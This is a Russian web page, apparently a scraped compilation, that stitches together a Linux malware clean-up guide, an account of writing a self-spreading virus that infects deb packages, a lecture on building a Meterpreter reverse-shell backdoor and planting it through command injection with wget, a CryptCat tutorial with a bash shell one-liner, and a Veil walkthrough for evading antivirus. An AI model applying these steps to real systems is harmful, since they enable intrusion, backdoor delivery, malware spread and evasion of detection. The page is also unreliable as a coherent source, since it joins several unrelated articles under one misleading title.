Как создать virus с cryptcat на kali linux

Обновлено: 05.07.2024

Этичный хакинг и тестирование на проникновение, информационная безопасность

На днях довелось очищать сервер Linux от трояна и майнера. Сервер безголовый (только с консолью, без веб панелей или графических интерфейсов), антивирусы и анализаторы вредоносного трафика не установлены. Тем не менее, даже в таких условиях используя стандартные средства Linux можно довольно эффективно искать и деактивировать вредоносное ПО.

Чтобы было интереснее, методы будут опробованы на настоящем вредоносном ПО. На момент написания все ссылки на вредоносное ПО рабочие — можете попробовать себя в анализе, сборе информации о серверах злоумышленника и прочем. Конечно, я исхожу из того, что у вас хватит ума не запускать скаченные файлы двойным кликом и смотреть, что будет дальше. При поиске и деактивации вредоносного ПО (загрузчик, майнер, троян) на рабочем сервере было не до документирования, поэтому последующие скриншоты сделаны в тестовой системе, которую я специально заразил вирусом.

Как найти вирус на сервере Linux

Вредоносные программы, вирусы, трояны, майнеры имеют определённую цель. Для этой цели им необходимо выполнять те или иные действия — именно по этой активности и можно их найти. Кроме того, поскольку программы находятся в системе «нелегально», то им необходимо, во-первых, сохраниться после перезапуска компьютера; во-вторых, запуститься после перезапуска системы. Эти действия также могут выдать их.

В качестве активности вредоносного ПО можно выделить:

  • прослушивание портов или связь с удалёнными компьютерами (характерно для троянов)
  • повышенное потребление ресурсов компьютера (характерно для майнеров, программ для рассылки спама, компьютеров подключённых к ботнету)

Для закрепления в системе программа может:

  • копировать свои файлы и скачивать другое вредоносное ПО
  • добавлять задачи Cron
  • добавлять свои файлы в автозагрузку служб
  • модифицировать файлы профиля, автоматически выполняемые при входе пользователя в систему

Признаки взлома сервера Linux

Нагрузка на центральный процессор

Инструментарий:

Начинаем с анализа использования ЦПУ:


Некий процесс dbused создаёт слишком сильную нагрузку на систему.

Попробуем развернуть дерево процессов (клавиша «c»):


Никакой дополнительной информации по процессу dbused. Попробуем что-то узнать о нём с помощью ps:

Тоже мало толку.


Можно попытаться закрыть процесс, но он вновь сам запустится.

Нагрузка на постоянное хранилище

Инструментарий:

Посмотрим информацию об использовании диска процессами:

Следующая команда с интервалами в 20 секунд показывает все процессы, которые выполняли чтение и запись с диска:

На самом деле, на заражённом сервере найти источник проблемы мне помогла именно предыдущая команда, она в качестве процесса, который делал множество операций чтения/записи показала следующее:

Видимо, из-за недостатка прав (сервер был заражён с правами веб-службы), что-то для вредоносного ПО работало во внештатном режиме.

Открытые порты

Инструментарий:

Чтобы посмотреть установленные соединения (например, троян или часть бота подключились к управляющему компьютеру), выполните следующую команду:

Вывод в моём случае:

Обратите внимание на dbused — он подключён к 194.5.249.24:8080 — это и есть управляющий сервер или, в данном случае, компьютер отвечающий за координацию майнеров (пул). В качестве противодействия, можно заблокировать доступ к 194.5.249.24 с помощью iptables.

Вирус может быть настроен на прослушивания (открытие) порта. Открытые порты можно посмотреть командой:

Анализ открытых файлов

Инструментарий:

Посмотрим, какие есть открытые файлы, связанные с dbused:


Информации достаточно много, например, показаны IP адреса и порты с которыми связывается программа.

Чтобы показать только файлы в привычном смысле, то используйте команду следующего вида:


Как можно увидеть, файл найден, но он уже удалён. Вас не должен смущать тот факт, что исполнимый файл одновременно запущен (и использует ресурсы системы), но при этом является удалённым. В Linux не запрещено удалять используемый файл, он остаётся в кэше памяти и по-настоящему удаляется только когда будут закрыты все программы, используемые данный файл, либо когда процесс завершит свою работу, если это исполнимый файл.

Можно сделать вывод: файл копируется при каждом запуске системы, запускается, а затем удаляется (например, чтобы избежать обнаружения антивирусами). После перезагрузки компьютера всё повторяется вновь.

На самом деле, полученная информация не является бесполезной. Кроме сделанных выводов, что имеется механизм воссоздания вредоносного файла, можно сделать что-нибудь в этом роде:

В результате будет создан файл заглушка, который невозможно удалить и переписать. При следующем запуске ОС это может помешать вирусу нормально скопировать и запустить свою копию.

Для просмотра вообще всех открытых (настоящих) файлов, можно использовать следующую команду:

Для просмотра открытых файлов в определённой директории:

Возможно, вы сумеете обнаружить аномалии в системе.


Как узнать, какой процесс создаёт файл

Инструментарий:

Создадим правило для отслеживания изменений файла /usr/bin/dbused

Перезагрузим компьютер и после появления файла проверим, кто его создал и запустил:

Запущенные службы

Инструментарий:

Просмотр активных служб, запущенных с помощью Systemctl:

К автозагрузке с помощью Systemctl мы ещё вернёмся чуть ниже.

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:


Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

Чтобы найти файлы, которые были модифицированы за последний час:

Чтобы найти все файлы, доступ к которым был сделан за последний час:

Поиск служб в автозагрузке

Инструментарий:

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:


Посмотрите на две службы с именами:

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:


Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:


Расписания задач Cron

Инструментарий:

Следующие две команды покажут содержимое задач Cron для всех пользователей:

Более гибкий вариант, не рассчитывает на имена пользователей:


Обратите внимание, как прочно укоренился вирус в системе:

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

Автоматически выполняемые скрипты

Инструментарий:

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:


Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

Анализ таймеров

Инструментарий:

Вывод списка всех активных таймеров:

Анализ логов

Эта статья не совсем про Indicator of Compromise (IOC) и анализ атак, ставших причиной компрометации системы, поэтому не будем на этом сейчас останавливаться. Тем не менее, вас может заинтересовать:

Деактивация вируса в Linux

Попробуем собрать всё воедино и убрать службы из автозагрузки, удалить все исполнимые файлы и файлы автозапуска, сразу после этого перезагружаем компьютер, чтобы процесс вируса (если он ещё активен), не успел создать всё это заново:


Вместо успешного завершения блока команд и перезагрузки компьютера мы получили ошибку «Операция не позволена» для ряда файлов.

Причина в том, что с помощью атрибута файла «i» файлы заблокированы от удаления даже с помощью sudo. Подробности смотрите в статье «Атрибуты файлов в Linux». Чтобы разблокировать файлы, нужно использовать команду вида:

Получаем новую последовательность команд для деактивации вируса:

Если процесс вируса ещё активен, то в дополнение к команда очистки, можно завершить процесс вредоносного ПО с помощью kill.

Инструментарий:

Как вы могли обратить внимание, среди нашего инструментария только обычные утилиты Linux. Конечно, имеются системы предотвращения вторжений, Indicator of Compromise (IOC) (индикаторы компрометации), антивирусы, анализаторы вредоносного трафика и другой вредоносной активности. Но такие программы не всегда установлены и, на самом деле, не всегда требуются чтобы найти и даже устранить причину проблемы.

Ещё вы могли обратить внимание на скрипт, который скачивается планировщиком задач Cron — это загрузчик (Downloader), написан на Bash. Даунлоадеры — это небольшие программы, которые обычно сами не делают каких-либо деструктивных действий, но при этом загружают в операционную систему вирусы, трояны и другие вредоносные программы. В данном случае загрузчик скачивает и запускает троян ботнета и майнер. Сам загрузчик пытается закрепиться в системе и, более того, пытается заразить другие машины — ищет имена пользователей и ключи для входа в другие системы. В общем, скрипт весьма любопытный — в следующей части мы изучим его. Изучение захваченных скриптов, файлов, команд полезно не только для саморазвития — они также могут дать подсказки, каким ещё образом вирус мог попытаться закрепиться в системе.

Нет, я не собираюсь рассказывать, как написать своего шифровальщика-вымогателя, майнера или эксплуатировать супер-новую уязвимость, как вы могли подумать. И тем более я не горю желанием поднимать холивар «Linux безопаснее Windows?(да)». Моей целью было написание простого вируса для linux, некого, так сказать, «Just for Fun», единственной функцией которого является распространение своей копии. О том, что у меня получилось, я расскажу в этой статье. В конце я приведу ссылку на GitHub с исходниками.

image


Дисклеймер

Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.

И что мы, собственно, будем делать?

Самым простым в реализации механизмом распространения вируса для меня показалось распространение через модифицированные deb/rpm пакеты. Пакеты формата deb и rpm сейчас являются наиболее популярным средством распространения по для Linux. Я остановил свой выбор на формате deb, так как количество пользователей Debian-based дистрибутивов преобладает над пользователями Red Hat и ее «последователей».

Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.

Что такое deb-пакет?

Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar

debian.binary — текстовый файл, содержащий версию формата deb-пакета, на данный момент там всегда пишут «2.0».

control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.

data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.

Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.

Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb --build ./path.

Сначала был демон

На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:


ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.

Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.
Я не видел необходимости в PID-файле, по этому я не стал его добавлять.

В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.

Файл /usr/bin/trojan_penguin.sh у меня получился таким:


Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.

Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории "/usr/bin/", чтобы от туда копировать его в заражаемые пакеты.

Модифицируем deb-пакет

Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:

Проблемы с postinstall

Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash. ), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:

Добавил в скрипт tp_infect.sh такую вещь:


А в postinstal вот это:


Одну проблему я решил, но появилась другая. Наш вирус будет модифицировать пакет, даже если он уже заражен. При модификации вирус увидит, что в пакете есть postinstal (который на самом деле наш), переместит его в /usr/bin/, тем самым перезаписав оригинал. Чтобы этого избежать, я добавил проверку в «tp_infect.sh», модифицировали мы этот файл или нет:

Собираем воедино

Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:


В репозитории есть две копии скрипта postinst

DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.

usr/bin/postinst — это копия вставляется в заражаемые пакеты.

А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.

Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?

В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a. Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

Я создам исполняемый файл, который позволит мне использовать шелл meterpreter-a, и для этого я воспользуюсь скриптом сервиса msfpc, который работает на базе msfvenom. Metasploit venom – это инструмент, с помощью которого можно создавать пэйлоады, но сейчас мы будем рассматривать msfpc, который гораздо проще в использовании, нежели msfvenom. Если мы введем команду «msfpc -h», то увидим огромное количество различных типов пэйлоадов:

msfpc -h

Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

шаблон msfpc

Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

Далее мне нужно выбрать порт – это 4444.

После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

Запись будет иметь вид:

создание пэйлоада для Linux

Жмем «Enter», и даем инструменту творить магию:

создание пэйлоада

Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

файл с расширением .elf создан

Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

запуск скрипта

handler находится в фоновом режиме

Он ждет подключение от пэйлоада meterpreter.

Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

пинг локального айпи-адреса

Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

127.0.0.1 && pwd

В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

Давайте проверим, запущен ли wget в этой системе. Для этого пишу команду: «127.0.0.1 && wget -h»:

127.0.0.1 && wget -h

И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf

Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

service apache2 start

192.168.119.128 && wget http://192.168.119.128/backdoor.elf

Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

ls command

Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

chmod +x backdoor.elf

Последний шаг. Запуск файла. Это делается с помощью команды: «192.168.119.140 && ./backdoor.elf»:

192.168.119.140 && ./backdoor.elf

Переходим в терминал, и у нас есть открытая сессия:

Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

открытая сессия meterpreter

Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

команда sysinfo

Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

переход в стандартный терминал linux

Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.

CryptCat – это обычный, но немного усовершенствованный инструмент NetCat с двусторонним шифрованием. Он считается самой простой утилитой Unix, что способна считывать и записывать данные посредством сетевых соединений. Программа может использовать протокол TCP или UDP при шифровании данных, передаваемых по сети. Также стоит отметить, что это надежный локальный инструмент, который легко управляется другими программами и скриптами. Он еще считается инструментом отладки и исследования сети.

CryptCat выступает в качестве клиента TCP / UDP или сервера при подключении к сокету или в качестве листенера того же сокета. Он может получить пароль и зашифровать или расшифровать данные, которые передаются между двумя компьютерами. Без предоставления пароля инструмент будет вводить пароль по умолчанию, а то есть – «metallica».

Общение

CryptCat можно использовать для общения между двумя пользователями. Для этого нужно установить стабильное соединение перед началом. Понадобятся две системы: одна будет листенером, а другая – инициатором. Таким образом, общение может осуществляться с обеих сторон.

Здесь пользователь попытался создать скрипт для общения двух пользователей с разными операционными системами.

Пользователь 1.

Чтобы инициировать листенер на Kali Linux, необходимо выполнить следующую команду для его создания:

Пользователь 2.

Чтобы создать инициатор, пользователь просто предоставит IP-адрес системы, в которой он запустил листенер, а затем – сам номер порта.

cryptcat 192.168.0.107 42

Verbose mode

В CryptCat Verbose mode может быть инициирован с помощью параметра [- v]. Он был активирован для получения подробной информации о действиях человека. Пользователь попробует описать упомянутую выше систему чата с этим режимом. Здесь он увидит, что когда пользователь добавляет [- v] к команде CryptCat, программа отображает информацию о процессе, который выполняется при подключении.

Со стороны листенера:

cryptcat -lvp 42

Со стороны инициатора:

cryptcat -v 192.168.0.107 42

Защита паролем

В CryptCat пользователь может защитить его соединение чата паролем, и этот пароль может быть добавлен с помощью параметра [- k]. Пользователь уже знает, что CryptCat предоставляет ему возможность для сквозного шифрования, но с помощью параметра [- k] он способен обеспечить дополнительный уровень защиты своего соединения. Это будет сделано настолько надежно, что расшифровать данную связь практически невозможно. Пользователь может попытаться установить эту защиту с помощью следующих команд.

Со стороны листенера стоит применить параметр [- k] вместе с паролем.

cryptcat -k ignite -lvp 42

Со стороны инициатора нужно использовать тот же пароль, что и у листенера, чтобы оба могли подключиться к определенному соединению.

cryptcat -v -k ignite 192.168.0.107 42

Реверсивный Shell

Реверсивный или обратный Shell – это такой Shell, в котором целевая машина взаимодействует с атакующей. Атакующая машина получает соединение через порт, предоставляя пароль. Чтобы активировать листенер на целевой машине для получения Shell, следует использовать следующую команду:

cryptcat -k mysecret -l -p 3333 0<myfifo | /bin/bash 1>myfifo

Теперь просто нужно подключиться к жертве со стороны нападающего. Затем пользователь может аутентифицировать себя, как только он получит доступ root. Используется команда whoami .

cryptcat -k mysecret 192.168.0.107 3333
whoami
ip a

Случайный порт

Если пользователь не может выбрать номер порта, чтобы запустить листенер или установить соединение CryptCat, есть специальный параметр [- r] для него, который поможет определить и найти случайный локальный порт.

Тайм-аут и интервал задержки

Большинство из специалистов могут перепутать эти терминами. Тайм-аут — это время для выполнения своей задачи или программы. Тогда как интервал задержки — это интервал времени между двумя отдельными запросами или задачами. Таким образом, в CryptCat есть параметр [-w] для тайм-аута и параметр [-i] для интервала задержки. Можно применить эти два различных параметра, чтобы получить желаемые результаты.

Со стороны листенера применяются как тайм-аут, так и интервал задержки:

cryptcat -v -w 30 -i 10 -l -p 8080

Со стороны инициатора применяется только тайм-аут.

cryptcat -v -w 2 192.168.0.7 8080

Netcat и CryptCat

Ну, прежде чем сравнивать эти две программы, пользователь должен чуть больше узнать о Netcat или nc. Это утилита, использующая TCP и UDP-соединения для чтения и записи в сети. Она может быть применена как для обеспечения безопасности, так и для взлома.

В случае взлома инструмент может быть использован с помощью скриптов, что делает его довольно надежным. И если говорить о безопасности, это помогает пользователю отлаживать сеть наряду с инвестированием в нее.

А когда дело доходит до CryptCat, то она считается более продвинутой версией Netcat. Инструмент предоставляет клиентам двустороннее шифрование, которое делает их соединение более безопасным. Далее будут сравнены эти два удивительные инструмента, основанные на шифровании соединения функций чата, с перехватыванием их сетевого интерфейса с помощью Wireshark.

Как уже известно, есть листенер и инициатор, чтобы установить соединение для общения в чате. Кроме того, пользователь инициировал Wireshark для перехвата сетевого интерфейса.

Со стороны слушателя человек использует параметр [- l] для прослушивания и параметр [- p] для получения номера порта:

Со стороны инициатора следует только указать номер порта вместе с IP-адресом листенера.

nc 192.168.0.111 3131

Теперь пользователь должен проверить, смог ли его Wireshark что-то захватить или нет. Как видно, программа успешно перехватила сеть и этот сетевой чат номер 4.

Сryptcat, как уже известно, предоставляет клиентам двустороннее шифрование, что делает сеть более безопасной, чем Netcat. Но нужно проверить и это, перехватив чат с помощью Wireshark. Для этого соединения нужен был листенер и инициатор.

Со стороны листенера следует использовать параметр [-p] для получения порта и [- l] для инициализации листенера.

cryptcat -l -p 3131

Со стороны инициатора нужно предоставить IP-адрес вместе с номером порта листенера.

cryptcat 192.168.0.111 3131

Теперь пользователь проверит, может ли он что-нибудь узнать новое или нет. Как видно на картинке, этот чат находится в зашифрованном режиме.

Это основное различие между Netcat и Cryptcat. Один обеспечивает шифрование в своей сети, а другой – этого не делает. Некоторые люди могут сказать, что CryptCat представляет собой шифрование + Netcat.

Важно ! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

обход антивируса

Veil это удивительный инструмент, разработанный Крисом Транкером @ChrisTruncer, Майком Райтом @TheMightyShiv и Grayhound'ом @the_grayhound, специально для Кали Linux с целью:

  • Обходить антивирусную защиту
  • Получать полезные данные в рамках Metasploit
  • Создание функциональной части вируса т. н. payload

Хочется поговорить о Veil и привести несколько примеров о том, как обойти несколько антивирусных программ. Основные изменения в последних версиях Veil:

  • совместимость x64 — Обновлен скрипт установки для того, чтобы Veil был совместим с x86 и x64 платформами.
  • Функция обновления - Теперь Veil имеет функцию обновления. Теперь мы можем обновить Veil либо из командной строки или из меню.

Чтобы установить Veil в любой среде, вы можете использовать следующие команды:

Чтобы установить Veil в Kali, выполняем следующие команды:

apt-get install veil

После того как Veil будет установлен запускаем его из командной строки:

Далее на экране мы увидим что-то вроде этого, загружено 18 payload'ов:

вводим use в коммандную строку

Veil1

Теперь Veil предлагает нам выбрать тело вируса с которым хотим работать. В этом случае я выбрал python/b64VirtualAlloc набрав "18"

Veil2

Когда загрузка тела вируса закончиться, введите команду — generate. На данном этапе можно задать кучу специфических параметров, но в рамках этой статьи будем использовать значения по-умолчанию.

Veil3

Далее необходимо выбрать шеллкод, который будет использоваться, мы выбираем msfvenom набрав 1

Veil4

Далее указываем некоторые детали:

veil5

Enter metasploit payload: “windows/meterpreter/reverse_tcp“

Enter value for ‘LHOST’, [tab] for local IP: “192.168.69.69″

Enter value for ‘LPORT’: “443“

Ждем немного пока шеллкод сгенерируется

После этого Veil потребует ввести имя для итогового файла, я назвал его undetectable

Veil6

На следующем этапе выбираем Pyinstaller — 1

Veil7

После этого мы получим готовый исполняемый .exe файл в папке /root/Veil-master/output/compiled/

Veil8

Теперь, у нас есть исполняемый файл и нам надо проверить его через vscan.novirusthanks.org. Пожалуйста, не забудьте при проверке установить галочку "Do not distribute the sample".

Veil10

Veil11

Все выше перечисленные операции по созданию файла, можно проделать через командную строку, не используя меню.

Читайте также: